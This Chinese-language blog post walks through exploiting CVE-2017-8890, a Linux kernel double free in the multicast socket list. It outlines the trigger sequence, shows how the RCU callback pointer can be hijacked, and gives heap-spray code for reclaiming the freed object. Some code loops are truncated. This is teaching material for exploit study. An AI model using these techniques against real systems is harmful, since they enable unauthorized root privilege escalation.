linux内核提取ret2usr,CVE-2017-8890 Linux内核提权 ret2usr

0x02 PoC

我们直接在github上找到了一个可以运行的PoC(PoC Download)

编译如下:

gcc  -static cve.cpp  -o PoC -lpthread

PoC的大致流程如下:

sockfd = socket(AF_INET, xx, IPPROTO_TCP);

setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx);

bind(sockfd, xxxx, xxxx);

listen(sockfd, xxxx);

newsockfd = accept(sockfd, xxxx, xxxx);

close(newsockfd)    // first free (kfree_rcu)

sleep(5)            // wait rcu free(real free)

close(sockfd)       // double free

我们首先创建一个服务端socket,并通过setsockopt设置MCAST_JOIN_GROUP选项,主要是让内核创建ip_mc_socklist对象。然后我们通过accept创建另外一个socket,使得newsockfd在内核中的mc_list指针指向同一个ip_mc_socklist对象。最后我们通过关闭sockfd和newsockfd去触发内核释放mc_list指向的同一对象,导致double free。

0x03 exploit

我们在网上暂时还没有搜到可用的exploit,只有一些文章[1][2]讲解漏洞利用的思路。double free类型漏洞的一般利用思路是在第一次free后通过伪造数据去堆喷占位,控制第二次free时的数据,从而劫持内核的执行流程。

我们再看看double free的对象ip_mc_socklist:

struct ip_mc_socklist {

struct ip_mc_socklist __rcu *next_rcu;

struct ip_mreqn     multi;

unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */

struct ip_sf_socklist __rcu *sflist;

struct rcu_head     rcu;

};

struct callback_head {

struct callback_head *next;

void (*func)(struct callback_head *head);

}

#define rcu_head callback_head

我们可以看到ip_mc_socklist对象中包含一个rcu_head对象,而该对象正好包含一个函数指针。ip_mc_socklist对象的释放涉及的linux的RCU机制,比较复杂,我们暂时只需要知道ip_mc_socklist对象真正释放的处理函数是__rcu_reclaim:

static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)

{

unsigned long offset = (unsigned long)head->func;

rcu_lock_acquire(&rcu_callback_map);

if (__is_kfree_rcu_offset(offset)) {

RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));

kfree((void *)head - offset);

rcu_lock_release(&rcu_callback_map);

return true;

} else {

RCU_TRACE(trace_rcu_invoke_callback(rn, head));

head->func(head);

rcu_lock_release(&rcu_callback_map);

return false;

}

}

刚好在__rcu_reclaim函数中存在一个分支去执行rcu_head对象中的函数指针:

head->func(head)

因此,我们只需要劫持rcu_head对象即可劫持内核的执行。接下来,我们通过gdb调试一步步来实现我们的exploit。

1)内核堆喷

为了能够劫持ip_mc_socklist内核对象,我们必须要能够在第一次free后通过堆喷占位,用我们伪造的数据填充已经free掉的ip_mc_socklist内核对象。ip_mc_socklist对象在x86_64系统中大小为48字节,内核会通过kmalloc分配64字节的堆块,因此我们需要找到在内核中稳定分配64字节大小,并且能够控制分配内容的方法。我们试了sendmmsg方法,但是并未成功。通过内核堆喷ipv6_mc_socklist结构体倒是成功了,但是通过gdb查看分配的对象大小却是72字节。我们直接通过源码计算ipv6_mc_socklist结构体的大小只有64字节,多出来的8个字节怎么出来的呢?

struct ipv6_mc_socklist {

struct in6_addr     addr;

int         ifindex;

struct ipv6_mc_socklist __rcu *next;

rwlock_t        sflock;

unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */

struct ip6_sf_socklist  *sflist;

struct rcu_head     rcu;

};

最后通过gdb调试我们才知道是因为内存对齐的原因。ipv6_mc_socklist结构体中既有8字节的成员变量,也有4字节的成员变量,因此ipv6_mc_socklist对齐到8字节,导致ipv6_mc_socklist对象的内存大小多出来8个字节。我们想到一个简单的方法,就是patch kernel, 修改ipv6_mc_socklist结构体定义,将两个4字节成员变量放在一起:

struct ipv6_mc_socklist {

struct in6_addr     addr;

int         ifindex;

unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */

struct ipv6_mc_socklist __rcu *next;

rwlock_t        sflock;

struct ip6_sf_socklist  *sflist;

struct rcu_head     rcu;

};

修改后重新编译内核运行,成功实现了内核64字节堆喷。我们可以通过gdb查看堆喷结果。

两次free的对象地址都是0xffff8800065ca0c0,说明是同一对象。同时,第二次free之前,我们成功通过堆喷,将之前free的对象填充为可控内容。堆喷的代码如下:

#define SPRAY_SIZE 5000

int sockfd[SPRAY_SIZE];

void spray_init() {

for(int i=0; i

if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) 

perror("Socket");

exit(errno);

}

}

}

void heap_spray() {

struct sockaddr_in6 my_addr, their_addr;

unsigned int myport = 8000;

bzero(&my_addr, sizeof(my_addr));

my_addr.sin6_family = AF_INET6;

my_addr.sin6_port = htons(myport);

my_addr.sin6_addr = in6addr_any;

int opt =1;

struct  group_req group1 = {0};

struct sockaddr_in6 *psin1;

psin1 = (struct sockaddr_in6 *)&group1.gr_group;

psin1->sin6_family = AF_INET6;

psin1->sin6_port = 1234;

inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));

for(int j=0; j

setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));

}

}

我们将堆喷对象ipv6_mc_socklist的adrr设置为"ff02:abcd:0:0:0:0:0:1",即可将堆喷对象的前8个字节设置为0x00000000cdab02ff,而这8个字节正好是double free对象ip_mc_socklist的next_rcu成员。因此,我们通过堆喷ipv6_mc_socklist对象来劫持ip_mc_socklist对象的释放。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值